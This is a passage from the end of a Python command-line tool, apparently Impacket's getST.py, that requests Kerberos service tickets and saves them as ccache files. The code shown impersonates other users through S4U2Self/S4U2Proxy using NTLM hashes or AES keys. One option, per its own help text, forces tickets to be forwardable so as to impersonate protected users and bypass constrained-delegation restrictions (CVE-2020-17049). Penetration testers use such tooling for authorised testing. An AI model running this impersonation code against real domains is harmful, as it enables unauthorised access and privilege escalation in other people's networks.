tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, self.__kdcHost, tgt, cipher, sessionKey, self.__options.renew)
self.__saveFileName = self.__user
else:
# Here's the rock'n'roll
try:
logging.info('Impersonating %s' % self.__options.impersonate)
# Editing below to pass hashes for decryption
if self.__additional_ticket is not None:
tgs, cipher, oldSessionKey, sessionKey = self.doS4U2ProxyWithAdditionalTicket(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey,
self.__kdcHost, self.__additional_ticket)
else:
tgs, cipher, oldSessionKey, sessionKey = self.doS4U(tgt, cipher, oldSessionKey, sessionKey, unhexlify(self.__nthash), self.__aesKey, self.__kdcHost)
except Exception as e:
logging.debug("Exception", exc_info=True)
logging.error(str(e))
if str(e).find('KDC_ERR_S_PRINCIPAL_UNKNOWN') >= 0:
logging.error('Probably user %s does not have constrained delegation permisions or impersonated user does not exist' % self.__user)
if str(e).find('KDC_ERR_BADOPTION') >= 0:
logging.error('Probably SPN is not allowed to delegate by user %s or initial TGT not forwardable' % self.__user)
return
self.__saveFileName = self.__options.impersonate
self.saveTicket(tgs, oldSessionKey)
if __name__ == '__main__':
print(version.BANNER)
parser = argparse.ArgumentParser(add_help=True, description="Given a password, hash or aesKey, it will request a "
"Service Ticket and save it as ccache")
parser.add_argument('identity', action='store', help='[domain/]username[:password]')
parser.add_argument('-spn', action="store", help='SPN (service/server) of the target service the '
'service ticket will' ' be generated for')
parser.add_argument('-altservice', action="store", help='New sname/SPN to set in the ticket')
parser.add_argument('-dmsa', action='store_true', help='Use DMSA (Delegated Managed Service Accounts) ')
parser.add_argument('-impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
' for quering the ST. Keep in mind this will only work if '
'the identity provided in this scripts is allowed for '
'delegation to the SPN specified')
parser.add_argument('-additional-ticket', action='store', metavar='ticket.ccache', help='include a forwardable service ticket in a S4U2Proxy request for RBCD + KCD Kerberos only')
parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-u2u', dest='u2u', action='store_true', help='Request User-to-User ticket')
parser.add_argument('-self', dest='no_s4u2proxy', action='store_true', help='Only do S4U2self, no S4U2proxy')
parser.add_argument('-force-forwardable', action='store_true', help='Force the service ticket obtained through '
'S4U2Self to be forwardable. For best results, the -hashes and -aesKey values for the '
'specified -identity should be provided. This allows impresonation of protected users '
'and bypass of "Kerberos-only" constrained delegation restrictions. See CVE-2020-17049')
parser.add_argument('-renew', action='store_true', help='Sets the RENEW ticket option to renew the TGT used for authentication. Set -spn to \'krbtgt/DOMAINFQDN\'')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar="LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar="hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store', metavar="ip address", help='IP Address of the domain controller. If '
'omitted it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv) == 1:
parser.print_help()
print("\nExamples: ")
print("\t./getST.py -spn cifs/contoso-dc -hashes lm:nt contoso.com/user\n")
print("\tit will use the lm:nt hashes for authentication. If you don't specify them, a password will be asked")
sys.exit(1)
options = parser.parse_args()
if not options.no_s4u2proxy and options.spn is None:
parser.error("argument -spn is required, except when -self is set")
if options.no_s4u2proxy and options.impersonate is None:
parser.error("argument -impersonate is required when doing S4U2self")
if options.no_s4u2proxy and options.altservice is not None:
if '/' not in options.altservice:
parser.error("When doing S4U2self only, substitution service must include service class AND name (i.e. CLASS/HOSTNAME@REALM, or CLASS/HOSTNAME)")
if options.additional_ticket is not None and options.impersonate is None:
parser.error("argument -impersonate is required when doing S4U2proxy")
if options.u2u is not None and (options.no_s4u2proxy is None and options.impersonate is None):
parser.error("-u2u is not implemented yet without being combined to S4U. Can't obtain a plain User-to-User ticket")
# implementing plain u2u would need to modify the getKerberosTGS() function and add a switch
# in case of u2u, the proper flags should be added in the request, as well as a proper S_PRINCIPAL structure with the domain being set in order to target a UPN
# the request would also need to embed an additional-ticket (the target user's TGT)
# Init the example's logger theme
logger.init(options.ts, options.debug)
domain, username, password, _, _, options.k = parse_identity(options.identity, options.hashes, options.no_pass, options.aesKey, options.k)
if domain == '':
logging.critical('Domain should be specified!')
sys.exit(1)
try:
executer = GETST(username, password, domain, options)
executer.run()
except Exception as e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
print(str(e))
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